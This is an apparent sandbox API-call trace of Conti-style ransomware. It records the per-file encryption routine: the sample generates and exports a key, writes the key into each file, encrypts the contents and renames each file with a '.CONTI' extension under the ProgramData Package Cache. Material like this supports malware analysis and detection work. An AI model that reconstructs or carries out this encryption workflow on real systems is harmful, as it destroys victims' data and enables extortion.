	[0120.430] WriteFile (in: hFile=0x398, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0120.430] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.430] CloseHandle (hObject=0x398) returned 1
	[0120.430] GetProcessHeap () returned 0x1720000
	[0120.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.430] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab"
	[0120.430] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI"
	[0120.431] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.conti")) returned 1
	[0120.431] GetProcessHeap () returned 0x1720000
	[0120.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.431] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0120.431] GetProcessHeap () returned 0x1720000
	[0120.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b340 | out: hHeap=0x1720000) returned 1
	[0120.431] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0120.431] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b44780 | out: phKey=0x6b44780*=0x6b7f538) returned 1
	[0120.431] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44784, pdwDataLen=0x4e7fc24 | out: pbData=0x6b44784*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0120.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi")) returned 0x20
	[0120.432] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0120.432] GetLastError () returned 0x0
	[0120.432] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=143360) returned 1
	[0120.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23000
	[0120.432] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.433] SetEndOfFile (hFile=0x398) returned 1
	[0120.433] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.433] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.433] WriteFile (in: hFile=0x398, lpBuffer=0x6b44784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b44784*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0120.434] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.434] ReadFile (in: hFile=0x398, lpBuffer=0xe470000, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x23000, lpOverlapped=0x0) returned 1
	[0120.462] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x23000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x23010) returned 1
	[0120.462] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.462] WriteFile (in: hFile=0x398, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x23010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x23010, lpOverlapped=0x0) returned 1
	[0120.463] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.463] WriteFile (in: hFile=0x398, lpBuffer=0x6b44778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b44778*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0120.463] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.463] CloseHandle (hObject=0x398) returned 1
	[0120.463] GetProcessHeap () returned 0x1720000
	[0120.463] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.463] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi"
	[0120.463] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI"
	[0120.463] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.conti")) returned 1
	[0120.464] GetProcessHeap () returned 0x1720000
	[0120.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.464] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0120.464] GetProcessHeap () returned 0x1720000
	[0120.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18196d0 | out: hHeap=0x1720000) returned 1
	[0120.464] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0120.464] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x6b7f538) returned 1
	[0120.465] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4776c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0120.465] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm")) returned 0x20
	[0120.465] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0120.466] GetLastError () returned 0x0
	[0120.466] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=750) returned 1
	[0120.466] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ee
	[0120.466] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.466] SetEndOfFile (hFile=0x398) returned 1
	[0120.466] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.466] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.466] WriteFile (in: hFile=0x398, lpBuffer=0x6b4776c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4776c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0120.471] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.471] ReadFile (in: hFile=0x398, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2ee, lpOverlapped=0x0) returned 1
	[0120.471] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2ee, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2f0) returned 1
	[0120.471] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.471] WriteFile (in: hFile=0x398, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2f0, lpOverlapped=0x0) returned 1
	[0120.471] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.471] WriteFile (in: hFile=0x398, lpBuffer=0x6b47760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b47760*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0120.471] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.471] CloseHandle (hObject=0x398) returned 1
	[0120.471] GetProcessHeap () returned 0x1720000
	[0120.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.471] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"
	[0120.471] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.CONTI") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.CONTI"
	[0120.472] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.CONTI" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.conti")) returned 1
	[0120.472] GetProcessHeap () returned 0x1720000
	[0120.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.472] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0120.472] GetProcessHeap () returned 0x1720000
	[0120.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5740 | out: hHeap=0x1720000) returned 1
	[0120.473] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0120.473] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b46528 | out: phKey=0x6b46528*=0x6b7f538) returned 1
	[0120.473] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4652c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4652c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0120.473] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm")) returned 0x20
	[0120.474] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0120.474] GetLastError () returned 0x0
	[0120.474] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=750) returned 1
	[0120.474] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ee
	[0120.474] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.474] SetEndOfFile (hFile=0x398) returned 1
	[0120.474] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.474] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.474] WriteFile (in: hFile=0x398, lpBuffer=0x6b4652c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4652c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0120.477] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.477] ReadFile (in: hFile=0x398, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2ee, lpOverlapped=0x0) returned 1
	[0120.477] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2ee, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2f0) returned 1
	[0120.477] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.477] WriteFile (in: hFile=0x398, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2f0, lpOverlapped=0x0) returned 1
	[0120.477] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.477] WriteFile (in: hFile=0x398, lpBuffer=0x6b46520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b46520*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0120.477] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.477] CloseHandle (hObject=0x398) returned 1
	[0120.478] GetProcessHeap () returned 0x1720000
	[0120.478] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.478] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"
	[0120.478] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.CONTI") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.CONTI"
	[0120.478] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.CONTI" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.conti")) returned 1
	[0120.478] GetProcessHeap () returned 0x1720000
	[0120.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.478] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0120.478] GetProcessHeap () returned 0x1720000
	[0120.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5fc8 | out: hHeap=0x1720000) returned 1
	[0120.478] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0120.478] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b46770 | out: phKey=0x6b46770*=0x6b7f538) returned 1
	[0120.478] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46774, pdwDataLen=0x4e7fc24 | out: pbData=0x6b46774*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0120.480] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab")) returned 0x20
	[0120.480] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0120.481] GetLastError () returned 0x0
	[0120.481] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4932896) returned 1
	[0120.481] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4b4520
	[0120.481] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.481] SetEndOfFile (hFile=0x398) returned 1
	[0120.481] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.481] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.481] WriteFile (in: hFile=0x398, lpBuffer=0x6b46774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b46774*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0122.227] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.227] ReadFile (in: hFile=0x398, lpBuffer=0xe470000, nNumberOfBytesToRead=0x4b4520, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x4b4520, lpOverlapped=0x0) returned 1
	[0123.529] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x4b4520, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x4b4530) returned 1
	[0123.535] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.535] WriteFile (in: hFile=0x398, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x4b4530, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x4b4530, lpOverlapped=0x0) returned 1
	[0126.487] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.487] WriteFile (in: hFile=0x398, lpBuffer=0x6b46768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b46768*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0129.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.328] CloseHandle (hObject=0x398) returned 1
